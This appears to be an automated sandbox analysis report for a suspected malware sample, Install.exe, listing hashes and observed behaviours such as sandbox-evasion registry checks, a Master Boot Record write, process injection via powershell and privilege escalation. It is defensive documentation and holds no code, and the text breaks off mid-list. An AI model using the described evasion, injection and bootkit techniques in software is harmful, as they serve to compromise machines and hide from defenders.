Analysis
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max time kernel
86s -
max time network
124s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
27-05-2024 22:23
Static task
static1
Behavioral task
behavioral1
Sample
Install.exe
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
Install.exe
Resource
win10v2004-20240426-en
General
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Target
Install.exe
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Size
163KB
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MD5
b51552b77057c2405f73bbbf9c89234a
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SHA1
4793adbba023f90d2d2ad0ec55199c56de815224
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SHA256
720e6962d75e37e8b47b160c5b3f60433a341f00abf60041630116b26858fbb0
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SHA512
564f4104e6e398eeef8acc7ce7cab694b6eebbe4233b7cb359829242b949dc7c5bf124a550a4d0402eb7da19b8bec6c1f6753563b17a8ae36fb639be595b8d66
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SSDEEP
3072:WQps+njY8n6Tz2RWATqduvp00QFSdEiTiB/SjqXOdbbZCOuWNyGLN:WQps+njYhSCeiSd/EJXOZb+WTLN
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 2260 created 612 2260 powershell.EXE 1020 -
Sets service image path in registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p" Process not Found -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\A: svchost.exe File opened (read-only) \??\L: svchost.exe File opened (read-only) \??\Q: svchost.exe File opened (read-only) \??\X: svchost.exe File opened (read-only) \??\J: svchost.exe File opened (read-only) \??\M: svchost.exe File opened (read-only) \??\N: svchost.exe File opened (read-only) \??\O: svchost.exe File opened (read-only) \??\V: svchost.exe File opened (read-only) \??\H: svchost.exe File opened (read-only) \??\I: svchost.exe File opened (read-only) \??\S: svchost.exe File opened (read-only) \??\W: svchost.exe File opened (read-only) \??\Z: svchost.exe File opened (read-only) \??\T: svchost.exe File opened (read-only) \??\U: svchost.exe File opened (read-only) \??\B: svchost.exe File opened (read-only) \??\E: svchost.exe File opened (read-only) \??\G: svchost.exe File opened (read-only) \??\K: svchost.exe File opened (read-only) \??\P: svchost.exe File opened (read-only) \??\R: svchost.exe File opened (read-only) \??\Y: svchost.exe -
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PHYSICALDRIVE0 wmiprvse.exe -
Drops file in System32 directory 15 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 svchost.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2260 set thread context of 2040 2260 powershell.EXE 87 -
Drops file in Windows directory 6 IoCs
description ioc Process File opened for modification C:\Windows\WindowsUpdate.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm svchost.exe File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe -
Checks processor information in registry 2 TTPs 7 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString mousocoreworker.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 mousocoreworker.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA Process not Found Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs Process not Found Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates Process not Found Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs Process not Found Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust Process not Found Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs Process not Found Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates Process not Found Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot Process not Found Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek mousocoreworker.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs Process not Found Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb010000004710f940154f374ead54f219e7ad58f30000000002000000000010660000000100002000000069558d12430b75cf31e9dfc262e7bbcd47fde6b0a9565b6e661c8b924382ea61000000000e8000000002000020000000e5535a894121d174e5d4c685faebafa75334f6c3bee9cf68725217289cf061fcb00300007ebc79577c7b86025abf3c4c5b4ae8ffc5b666622ca2a4c9fa84d473bf8e911fa5ce0f1126dc1e52c60332c659cbabf9796eceed4d5370762efa63c0dc30065f3b3e55879ca2295a98bd196307e1033ccb6e368d848a232cbb7cfc8eb6f415908b5c9867c80d3e64c210bc5fcc74bf3ec5e6f9f1fa99b59c0d7e64f97b4770ef46349edcea6b3fb0c9a81556787bd774620ffb2cd98451f57ea2567a20e171f51a7f52c5cee95ffc44390ed4639db3381237a644ac7a6a8c515156cebb64579885caa60a0469efc7afa0d87149fd3e35f3064c488e16c2542a466ece0a561d5a93bfa2212652e340fdcee5c297fe676d0f05964a992cc312ba4a3f05ef4acca7b5fa61d5f3c23cd3ce205761a5580e3c01cb8a9986f4d826ee46dfccbd07ab14f5e605a5011992603a7c4ca02cd0d643822f2048a46aeb7caf08e91f7ed9d4ff39025bf7875a1e0ed822d05081c3b9455d6d4b241aaa9d1a4ae43da939a9416cfd73b55e37c764a9fc8dc0570aa3a88e937bd4e4bc5739d909f6b08e2e9e3b1b0288019d058bf70999da05fb5bcf3f332cd89736efb8dcdb37a7cfe6b81c859862582a9870328249578385e54710f4bbaec79569946a9720939c06bc7ba1b0f4527f726a889b185135f4986bf83dbb9b7e66671aee6c6ed7020d854c885351b36282341a1bbe18b0457daff0aa71cd5f94ddbe1d7954be803c34fceee3ce26d6d96fcb4b0104a0eafc8ecb3919285a756535e34a931526601a72f1ab222a0a6d3fea9ac0adac0507a3fd67a4775a1f60c839936ade66759756a957ef1f507aa87648b04e88c7133877877f04b0d68365462a849f9c4d350f9370f8fdd4d6bba0f792d9db9223bedb5c4eab0b33f731c9fc58f1d2f51531fb2c948bbbeb514edad50b0b78fad88197571e24764bd85f887b50e87425d6f7aa0f3569316d9a49dcd86eed3fed407c6f82f895fb29db3e74e37105a2bd6dea27674a21ae5bcfed08243a35a6a118f4d52553eac8ea95bfee0715281b7be56d08e82bdf96750635e605d454a7dbb67ab49cf58b330f29d0e67447c720909e23e4ca42da5a042112735859fd9fbb8969e41dfae0ec5ffc73008b57762c64b55242bfe8b6cbe3c717a2c6a67a46ebfa188a3480a1a03392988042dce1d73f5c22435cc8a070f5cb5ad30568d13bf6a1912b04ccfb0b01b2102b526f727b39a36a0e299ef91e63da5658309a8e08bac6a56cc1d901e6eac2606d240963155878b5fce8edde5b8a0ea51842c5db2f1651b27129137a10ff0a9fc0225f6128b709a6a26d777a0efd3c032c6116dea87db870abb0e693918cacaa7a4000000026c0d696da903e69e52d16f40213528c44a2f36ce8148131bac5bfcd40cd920a2b818f3773d0d6ef52f6ddb7fd9c354e86138ab48312aa30c708729a0e98217c mousocoreworker.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates Process not Found Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs Process not Found Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed Process not Found Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs Process not Found Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows mousocoreworker.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs Process not Found Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates Process not Found Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs Process not Found Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust Process not Found Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414} mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs Process not Found Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates Process not Found Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs Process not Found Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA Process not Found Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs Process not Found -
Modifies registry class 10 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\dacdb14a-7ac5-4fa4-a Process not Found Set value (str) \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\dacdb14a-7ac5-4fa4-a = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\dacdb14a-7ac5-4fa4-a = "8324" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\dacdb14a-7ac5-4fa4-a = "0" Process not Found Set value (data) \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\dacdb14a-7ac5-4fa4-a = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000677ce585da97da01432e481a85b0da01432e481a85b0da01269207000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000009a58c9682000376230353933363135636464373232383364386136326334336137386537373730363934346232636434336137653730666361646438316530376637343434320000b20009000400efbe9a58c9689a58c9682e000000000000000000000000000000000000000000000000002786fa00370062003000350039003300360031003500630064006400370032003200380033006400380061003600320063003400330061003700380065003700370037003000360039003400340062003200630064003400330061003700650037003000660063006100640064003800310065003000370066003700340034003400320000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000005e45762f1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c37623035393336313563646437323238336438613632633433613738653737373036393434623263643433613765373066636164643831653037663734343432000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a058000000000000006c6c78646865776300000000000000005eec5d004667674ea2152aadfd915f7e4165904dcd03ef119a94f25a6f8d7cfb5eec5d004667674ea2152aadfd915f7e4165904dcd03ef119a94f25a6f8d7cfbce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002d00000053002d0031002d0035002d00320031002d003500340030003400300034003600330034002d003600350031003100330039003200340037002d0032003900360037003200310030003600320035002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000d9d47eb9000000000000d01200000000000000000000000000000000 Process not Found Key created \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System Process not Found Key created \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\dacdb14a-7ac5-4fa4-a Process not Found Set value (data) \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\dacdb14a-7ac5-4fa4-a = 82319b1a85b0da01 Process not Found Set value (str) \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\dacdb14a-7ac5-4fa4-a = "\\\\?\\Volume{B97ED4D9-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\7b0593615cdd72283d8a62c43a78e77706944b2cd43a7e70fcadd81e07f74442" Process not Found Key created \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable Process not Found -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2260 powershell.EXE 2260 powershell.EXE 2260 powershell.EXE 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 3356 wmiprvse.exe 3356 wmiprvse.exe 3356 wmiprvse.exe 3356 wmiprvse.exe 3356 wmiprvse.exe 3356 wmiprvse.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe -
Suspicious behavior: LoadsDriver 64 IoCs
pid Process 2400 Process not Found 2908 Process not Found 3320 Process not Found 3120 Process not Found 4264 Process not Found 664 Process not Found 4176 Process not Found 548 Process not Found 1500 Process not Found 1772 Process not Found 1004 Process not Found 3636 Process not Found 4120 Process not Found 4196 Process not Found 4200 Process not Found 4224 Process not Found 4260 Process not Found 4316 Process not Found 4336 Process not Found 4348 Process not Found 2348 Process not Found 4756 Process not Found 5000 Process not Found 1156 Process not Found 3684 Process not Found 3676 Process not Found 1940 Process not Found 4624 Process not Found 848 Process not Found 5032 Process not Found 4104 Process not Found 4776 Process not Found 4916 Process not Found 784 Process not Found 2788 Process not Found 4528 Process not Found 864 Process not Found 1768 Process not Found 4696 Process not Found 860 Process not Found 1628 Process not Found 1380 Process not Found 3056 Process not Found 2588 Process not Found 2828 Process not Found 808 Process not Found 1660 Process not Found 4184 Process not Found 2484 Process not Found 3696 Process not Found 1944 Process not Found 4548 Process not Found 912 Process not Found 1096 Process not Found 3756 Process not Found 4524 Process not Found 2712 Process not Found 3484 Process not Found 1844 Process not Found 1428 Process not Found 5044 Process not Found 1344 Process not Found 4324 Process not Found 964 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2260 powershell.EXE Token: SeDebugPrivilege 2260 powershell.EXE Token: SeDebugPrivilege 2040 dllhost.exe Token: SeShutdownPrivilege 3156 Explorer.EXE Token: SeCreatePagefilePrivilege 3156 Explorer.EXE Token: SeAuditPrivilege 2964 svchost.exe Token: SeShutdownPrivilege 3156 Explorer.EXE Token: SeCreatePagefilePrivilege 3156 Explorer.EXE Token: SeShutdownPrivilege 3156 Explorer.EXE Token: SeCreatePagefilePrivilege 3156 Explorer.EXE Token: SeShutdownPrivilege 3156 Explorer.EXE Token: SeCreatePagefilePrivilege 3156 Explorer.EXE Token: SeShutdownPrivilege 3156 Explorer.EXE Token: SeCreatePagefilePrivilege 3156 Explorer.EXE Token: SeShutdownPrivilege 3156 Explorer.EXE Token: SeCreatePagefilePrivilege 3156 Explorer.EXE Token: SeShutdownPrivilege 4392 svchost.exe Token: SeCreatePagefilePrivilege 4392 svchost.exe Token: SeShutdownPrivilege 4392 svchost.exe Token: SeCreatePagefilePrivilege 4392 svchost.exe Token: SeShutdownPrivilege 4392 svchost.exe Token: SeCreatePagefilePrivilege 4392 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1952 svchost.exe Token: SeIncreaseQuotaPrivilege 1952 svchost.exe Token: SeSecurityPrivilege 1952 svchost.exe Token: SeTakeOwnershipPrivilege 1952 svchost.exe Token: SeLoadDriverPrivilege 1952 svchost.exe Token: SeBackupPrivilege 1952 svchost.exe Token: SeRestorePrivilege 1952 svchost.exe Token: SeShutdownPrivilege 1952 svchost.exe Token: SeSystemEnvironmentPrivilege 1952 svchost.exe Token: SeManageVolumePrivilege 1952 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1952 svchost.exe Token: SeIncreaseQuotaPrivilege 1952 svchost.exe Token: SeSecurityPrivilege 1952 svchost.exe Token: SeTakeOwnershipPrivilege 1952 svchost.exe Token: SeLoadDriverPrivilege 1952 svchost.exe Token: SeSystemtimePrivilege 1952 svchost.exe Token: SeBackupPrivilege 1952 svchost.exe Token: SeRestorePrivilege 1952 svchost.exe Token: SeShutdownPrivilege 1952 svchost.exe Token: SeSystemEnvironmentPrivilege 1952 svchost.exe Token: SeUndockPrivilege 1952 svchost.exe Token: SeManageVolumePrivilege 1952 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1952 svchost.exe Token: SeIncreaseQuotaPrivilege 1952 svchost.exe Token: SeSecurityPrivilege 1952 svchost.exe Token: SeTakeOwnershipPrivilege 1952 svchost.exe Token: SeLoadDriverPrivilege 1952 svchost.exe Token: SeSystemtimePrivilege 1952 svchost.exe Token: SeBackupPrivilege 1952 svchost.exe Token: SeRestorePrivilege 1952 svchost.exe Token: SeShutdownPrivilege 1952 svchost.exe Token: SeSystemEnvironmentPrivilege 1952 svchost.exe Token: SeUndockPrivilege 1952 svchost.exe Token: SeManageVolumePrivilege 1952 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1952 svchost.exe Token: SeIncreaseQuotaPrivilege 1952 svchost.exe Token: SeSecurityPrivilege 